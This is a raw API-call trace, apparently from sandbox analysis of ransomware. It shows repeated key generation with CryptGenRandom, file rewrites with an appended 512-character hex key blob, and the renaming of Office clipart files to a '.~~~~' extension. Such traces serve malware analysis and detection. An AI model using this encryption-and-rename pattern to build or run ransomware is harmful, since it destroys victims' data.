	[0116.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.725] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23671548900) returned 1
	[0116.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf0f3710, dwHighDateTime=0x1d60e1e)) 
	[0116.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e86f8
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e86f8 | out: hHeap=0x300000) returned 1
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b13b0
	[0116.726] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.726] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.726] GetLastError () returned 0x0
	[0116.727] GetLastError () returned 0x0
	[0116.727] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.727] GetLastError () returned 0x0
	[0116.727] GetLastError () returned 0x0
	[0116.767] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffef78, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.767] WriteFile (in: hFile=0x13c, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x1088, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x24dfec0*=0x1088, lpOverlapped=0x0) returned 1
	[0116.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0116.769] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.769] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.769] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.770] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.770] CloseHandle (hObject=0x13c) returned 1
	[0116.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.~~~~")) returned 1
	[0116.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.790] GetLastError () returned 0x0
	[0116.791] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.792] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.792] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.792] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.792] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23678219627) returned 1
	[0116.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf1b1df0, dwHighDateTime=0x1d60e1e)) 
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8880
	[0116.792] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8880 | out: hHeap=0x300000) returned 1
	[0116.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b14e0
	[0116.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.793] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.793] GetLastError () returned 0x0
	[0116.793] GetLastError () returned 0x0
	[0116.793] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.793] GetLastError () returned 0x0
	[0116.794] GetLastError () returned 0x0
	[0116.812] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffdb38, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.812] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x24c8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x24c8, lpOverlapped=0x0) returned 1
	[0116.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.813] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.814] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.814] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.814] CloseHandle (hObject=0x13c) returned 1
	[0116.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0116.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02028_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02028_.wmf.~~~~")) returned 1
	[0116.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.858] GetLastError () returned 0x0
	[0116.859] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.860] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.860] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.860] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23685002149) returned 1
	[0116.860] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf24a370, dwHighDateTime=0x1d60e1e)) 
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8998
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8998 | out: hHeap=0x300000) returned 1
	[0116.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0116.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.861] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1908
	[0116.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0116.861] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.861] GetLastError () returned 0x0
	[0116.861] GetLastError () returned 0x0
	[0116.861] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.861] GetLastError () returned 0x0
	[0116.861] GetLastError () returned 0x0
	[0116.876] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffb3b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.876] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4c4c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x4c4c, lpOverlapped=0x0) returned 1
	[0116.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.877] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.877] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.877] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.877] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.878] CloseHandle (hObject=0x13c) returned 1
	[0116.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02055_.wmf.~~~~")) returned 1
	[0116.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.879] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.879] GetLastError () returned 0x0
	[0116.880] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0116.881] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0116.881] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0116.881] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0116.881] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0116.882] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23687172905) returned 1
	[0116.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf2704d0, dwHighDateTime=0x1d60e1e)) 
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8a08
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0116.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8a08 | out: hHeap=0x300000) returned 1
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0116.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0116.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0116.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b1c00
	[0116.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.883] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0116.883] GetLastError () returned 0x0
	[0116.883] GetLastError () returned 0x0
	[0116.883] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0116.883] GetLastError () returned 0x0
	[0116.883] GetLastError () returned 0x0
	[0116.963] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe4b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.963] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1b4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x1b4a, lpOverlapped=0x0) returned 1
	[0116.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0116.971] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.971] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0116.978] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0116.978] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0116.979] CloseHandle (hObject=0x13c) returned 1
	[0116.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0116.979] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.~~~~")) returned 1
	[0116.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0116.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0116.981] GetLastError () returned 0x0
	[0117.008] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0117.009] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.009] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.009] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0117.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0117.009] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23699948787) returned 1
	[0117.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xaf3c7130, dwHighDateTime=0x1d60e1e)) 
	[0117.009] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0117.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0117.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0117.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e8bc8
	[0117.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8bc8 | out: hHeap=0x300000) returned 1
	[0117.010] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.010] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6bc8
	[0117.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2288
	[0117.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.019] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0117.019] GetLastError () returned 0x0
	[0117.019] GetLastError () returned 0x0
	[0117.019] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0117.019] GetLastError () returned 0x0
	[0117.019] GetLastError () returned 0x0
	[0117.021] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff7e8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.021] WriteFile (in: hFile=0x13c, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x818, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x818, lpOverlapped=0x0) returned 1
	[0117.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.022] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.022] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.022] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.023] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.023] CloseHandle (hObject=0x13c) returned 1
	[0117.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6bc8
	[0117.023] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.~~~~")) returned 1
	[0117.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6bc8 | out: hHeap=0x300000) returned 1
	[0117.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0117.024] GetLastError () returned 0x0
